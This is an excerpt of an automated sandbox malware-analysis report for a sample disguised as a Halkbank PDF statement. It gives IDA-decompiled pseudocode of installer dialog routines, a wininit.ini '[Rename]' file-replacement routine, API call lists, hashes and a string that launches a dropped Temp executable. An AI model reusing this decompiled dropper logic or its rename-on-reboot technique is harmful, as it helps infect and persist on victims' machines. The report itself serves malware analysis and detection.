				_v28 =  *0x42a270 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x42a279 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404F7F(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x42a278) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42372c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x423740;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42372c = 0;
								 *0x423740 = 0;
								 *0x42a2c0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42a279 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404FFF();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x423740;
									_t201 =  *0x42a288;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42a28c <= 0) {
										L86:
										if( *0x42a31e == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
											E00404F3A(0x3ff, 0xfffffffb, E00404F52(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x42a28c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x423740);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x42a2c0 = _t291;
					 *0x423740 = GlobalAlloc(0x40,  *0x42a28c << 2);
					_t258 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
					 *0x423734 =  *0x423734 | 0xffffffff;
					_t297 = _t258;
					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E0040563E);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42372c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42372c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066A5(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004045C4(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004045C4(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x42a28c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x423740 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x423740 + _t300 * 4) = _t284;
									_v16 =  *( *0x423740 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x42a28c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004045F9(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004045F9(_v12);
								L93:
								return E0040462B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00405038
0x00405051
0x00405056
0x0040505e
0x00405064
0x0040507a
0x0040507d
0x004052a8
0x004052af
0x004052c3
0x004052b1
0x004052b3
0x004052b6
0x004052b7
0x004052be
0x004052be
0x004052cf
0x004052dd
0x004052e0
0x004052f6
0x0040536b
0x0040536e
0x00405370
0x0040537a
0x00405388
0x00405388
0x0040538a
0x00405394
0x0040539a
0x0040539d
0x004053a0
0x004053bb
0x004053a2
0x004053ac
0x004053ac
0x004053a0
0x00405394
0x00000000
0x0040536e
0x004052fb
0x00405306
0x0040530b
0x00405312
0x00405317
0x0040531b
0x00405326
0x00405326
0x0040532a
0x0040532e
0x00405332
0x00405345
0x00405334
0x00405334
0x0040533b
0x00405341
0x0040533d
0x0040533d
0x0040533d
0x0040533b
0x00405349
0x0040534b
0x0040535e
0x00405361
0x00405364
0x00405364
0x0040532e
0x00000000
0x0040531b
0x004052fd
0x00405304
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053be
0x004053be
0x004053c5
0x00405436
0x0040543e
0x00405446
0x00405446
0x0040544f
0x00405451
0x00405458
0x0040545b
0x0040545b
0x00405461
0x00405468
0x0040546b
0x0040546b
0x00405471
0x00405477
0x0040547d
0x0040547d
0x0040548a
0x004055eb
0x004055f2
0x0040560f
0x00405615
0x00405627
0x00405627
0x00000000
0x00405490
0x00405492
0x00405497
0x0040549c
0x004054a1
0x004054a3
0x004054a3
0x004054a4
0x004054a5
0x004054a7
0x004054a7
0x004054af
0x004054f0
0x004054f2
0x00405502
0x00405505
0x0040550a
0x00405511
0x00405514
0x004055b6
0x004055bf
0x004055c7
0x004055c7
0x004055d5
0x004055e6
0x004055e6
0x00000000
0x004055d5
0x0040551a
0x0040551d
0x00405523
0x00405528
0x0040552a
0x0040552c
0x00405532
0x00405539
0x0040553e
0x00405545
0x00405548
0x00405548
0x0040554f
0x0040555b
0x0040555f
0x00405561
0x00405561
0x00405551
0x00405553
0x00405553
0x00405581
0x0040558d
0x0040559c
0x0040559c
0x0040559e
0x004055a1
0x004055aa
0x00000000
0x004054b1
0x004054bc
0x004054bf
0x004054c4
0x004054c6
0x004054ca
0x004054da
0x004054e4
0x004054e6
0x004054e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004054cc
0x004054cc
0x004054d2
0x004054d4
0x004054d4
0x004054d5
0x004054d6
0x00000000
0x004054cc
0x004054af
0x0040548a
0x004053cd
0x00000000
0x004053e3
0x004053ed
0x004053f2
0x00000000
0x00000000
0x00405404
0x00405409
0x00405415
0x00405415
0x00405417
0x00405426
0x00405428
0x0040542c
0x0040542f
0x00000000
0x0040542f
0x004053cd
0x00405083
0x00405088
0x00405091
0x00405098
0x004050aa
0x004050b5
0x004050bb
0x004050c9
0x004050dd
0x004050e2
0x004050ef
0x004050f4
0x0040510a
0x0040511b
0x00405128
0x00405128
0x0040512b
0x00405131
0x00405133
0x00405136
0x0040513b
0x00405140
0x00405142
0x00405142
0x00405162
0x00405162
0x00405164
0x00405165
0x0040516a
0x00405170
0x00405174
0x00405179
0x00405181
0x00405185
0x0040518a
0x0040518f
0x00405197
0x0040519a
0x0040526a
0x0040527d
0x00000000
0x004051a0
0x004051a3
0x004051a6
0x004051a9
0x004051a9
0x004051af
0x004051b8
0x004051bb
0x004051bf
0x004051c2
0x004051c5
0x004051ce
0x004051d7
0x004051da
0x004051dd
0x004051e0
0x0040521e
0x00405249
0x00405220
0x0040522f
0x0040522f
0x004051e2
0x004051e5
0x004051f3
0x004051fd
0x00405205
0x0040520c
0x00405217
0x00405217
0x004051e0
0x0040524f
0x00405250
0x0040525c
0x0040525c
0x00405268
0x00405283
0x00405286
0x004052a3
0x00000000
0x00405288
0x0040528d
0x00405296
0x00405629
0x0040563b
0x0040563b
0x00405286
0x00000000
0x00405268
0x0040519a

APIs

GetDlgItem.USER32 ref: 00405049
GetDlgItem.USER32 ref: 00405054
GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
LoadImageW.USER32 ref: 004050B5
SetWindowLongW.USER32 ref: 004050CE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
DeleteObject.GDI32(00000000), ref: 0040512B
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
GetWindowLongW.USER32(?,000000F0), ref: 0040526F
SetWindowLongW.USER32 ref: 0040527D
ShowWindow.USER32(?,00000005), ref: 0040528D
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
ImageList_Destroy.COMCTL32(?), ref: 0040545B
GlobalFree.KERNEL32 ref: 0040546B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
ShowWindow.USER32(?,00000000), ref: 00405615
GetDlgItem.USER32 ref: 00405620
ShowWindow.USER32(00000000), ref: 00405627

Strings

N, xrefs: 004052C6
M, xrefs: 004051E5
, xrefs: 004055FF

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404783 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404783(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x421714 =  *0x421714 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E0040462B(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x428200;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404A32(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x42a268, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a268, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
						goto L27;
					} else {
						_t116 =  *0x422720 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004045E6(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404A0E();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x42923c - 4 + _t75 * 4);
				}
				_t76 =  *0x42a298 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404734;
				if(_t110 != 2) {
					_v8 = E004046FA;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E004045C4(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E004045C4(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004045E6( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004045F9(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a270 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x421714 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x421714 = 0;
				return 0;
			}

0x00404795
0x004048c2
0x0040491f
0x00404923
0x004049f0
0x004049f2
0x004049f2
0x004049f8
0x004049f8
0x004049fb
0x00000000
0x00404a02
0x00404931
0x00404937
0x00404941
0x0040494c
0x0040494f
0x00404952
0x0040495d
0x00404960
0x00404967
0x00404974
0x00404985
0x0040498b
0x00404993
0x004049a1
0x004049a7
0x004049a7
0x00404967
0x004049b1
0x00000000
0x004049bc
0x004049c0
0x004049d0
0x004049d0
0x004049d6
0x004049e2
0x004049e2
0x00000000
0x004049e6
0x004049b1
0x004048cd
0x00000000
0x004048df
0x004048e4
0x004048ea
0x00000000
0x00000000
0x00404913
0x00404915
0x0040491a
0x00000000
0x0040491a
0x004048cd
0x0040479b
0x0040479e
0x004047a3
0x004047b4
0x004047b4
0x004047bc
0x004047bf
0x004047c3
0x004047c6
0x004047ca
0x004047cd
0x004047d0
0x004047d3
0x004047da
0x004047dc
0x004047dc
0x004047e6
0x004047f3
0x004047fd
0x00404802
0x00404805
0x0040480a
0x00404821
0x00404828
0x0040483b
0x0040483e
0x00404852
0x00404859
0x0040485e
0x00404863
0x00404863
0x00404871
0x0040487f
0x00404891
0x00404896
0x004048a6
0x004048a8
0x00000000

APIs

CheckDlgButton.USER32 ref: 00404821
GetDlgItem.USER32 ref: 00404835
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
GetSysColor.USER32(?), ref: 00404863
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
lstrlenW.KERNEL32(?), ref: 00404884
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
GetDlgItem.USER32 ref: 004048FF
SendMessageW.USER32(00000000), ref: 00404906
GetDlgItem.USER32 ref: 00404931
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
LoadCursorW.USER32(00000000,00007F02), ref: 00404982
SetCursor.USER32(00000000), ref: 00404985
LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
SetCursor.USER32(00000000), ref: 004049A1
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2

Strings

"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 00404960
N, xrefs: 0040491F

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$N
API String ID: 3103080414-1902310935
Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004062AE Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062AE(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x426de8 = 0x55004e;
				 *0x426dec = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x4275e8
					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
						_t53 = _t52 + 0x10;
						E004066A5(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a270 + 0x128)));
						_t12 = E00406158(0x4275e8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004061DB(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E004060BD(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E004060BD(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00406113(_t24 + _t46, 0x4269e8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E0040620A(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00406158(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x004062ae
0x004062b7
0x004062be
0x004062c8
0x004062dc
0x00406304
0x0040630b
0x0040630f
0x00406313
0x00406333
0x0040633a
0x00406344
0x00406351
0x00406356
0x0040635b
0x0040635f
0x0040636e
0x00406370
0x0040637d
0x00406381
0x0040641c
0x00000000
0x00406397
0x004063a4
0x004063c8
0x004063cc
0x004063eb
0x004063ef
0x004063ef
0x004063f1
0x004063fa
0x00406405
0x00406410
0x00406416
0x00000000
0x00406416
0x004063ce
0x004063d1
0x004063dc
0x004063d8
0x004063da
0x004063db
0x004063db
0x004063e3
0x004063e5
0x00000000
0x004063e5
0x004063af
0x004063b5
0x00000000
0x004063b5
0x00406381
0x0040635f
0x004062de
0x004062e9
0x004062f2
0x004062f6
0x00000000
0x00000000
0x004062f6
0x00406427

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
GetShortPathNameW.KERNEL32 ref: 004062F2

Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

GetShortPathNameW.KERNEL32 ref: 0040630F
wsprintfA.USER32 ref: 0040632D
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
GlobalFree.KERNEL32 ref: 00406416
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Strings

uB, xrefs: 0040630B
mB, xrefs: 004062D7
%ls=%ls, xrefs: 00406323
uB, xrefs: 00406304
[Rename], xrefs: 00406397, 004063A9

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
